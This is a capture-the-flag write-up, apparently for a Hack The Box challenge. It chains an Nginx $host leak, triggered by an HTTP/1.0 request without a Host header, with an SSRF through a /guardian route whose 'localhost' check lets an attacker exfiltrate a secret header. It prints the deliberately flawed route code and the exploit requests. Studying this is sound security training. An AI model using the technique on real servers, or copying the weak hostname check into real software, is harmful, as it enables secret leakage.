Challenge Overview
We are provided with an Nginx configuration file and a guardian.js source file. The goal is to access the /guardian endpoint, which is protected by a secret server name ($SECRET_ALLEY), and then exploit a logic flaw to retrieve the flag.
Step 1: Leaking the Secret Domain (Nginx Misconfiguration)
Analysis
The Nginx config defines two servers:
alley.$SECRET_ALLEY(Default server)guardian.$SECRET_ALLEY
To access the guardian, we first need to know the random string $SECRET_ALLEY.
Looking at the default server config:
location /think { proxy_pass http://localhost:1337; proxy_set_header Host $host; ...}The variable $host in Nginx behaves in a specific way: if the client provides a Host header, it uses that. If the client does not provide a Host header, Nginx defaults to using the server_name from the config. document
Exploit
Not specifying the Host header in HTTP/1.1 is impossible. So we can downgrade the protocol to HTTP/1.0, which allows non-host header.
We can force Nginx to reveal its internal server_name by sending an HTTP/1.0 request to the /think endpoint.
GET /think HTTP/1.0No host header hereThe backend code for /think returns req.headers. Because we sent no Host header, Nginx filled it with the secret server name.
{ "host": "alley.***.htb", ...}Step 2: SSRF via The Guardian
Analysis
Now that we can address the guardian server. In the source code for /guardian endpoint, it checks if hostname of the input URL is localhost. Then it fetches data from the URL and print out to the browser.
router.get("/guardian", async (req, res) => { const quote = req.query.quote;
if (!quote) return res.render("guardian");
try { const location = new URL(quote); const direction = location.hostname; if (!direction.endsWith("localhost") && direction !== "localhost") return res.send("guardian", { error: "You are forbidden from talking with me.", }); } catch (error) { return res.render("guardian", { error: "My brain circuits are mad." }); }
try { let result = await node_fetch(quote, { method: "GET", headers: { Key: process.env.FLAG || "HTB{REDACTED}" }, }).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result); } catch (e) { console.error(e); return res.render("guardian", { error: "The words are lost in my circuits", }); }});The code also attaches the flag to the request as a header. So we can simply craft a quote payload.
/guardian?quote=http://localhost:1337/thinkHost: guardian.***Then we can achieve the flag.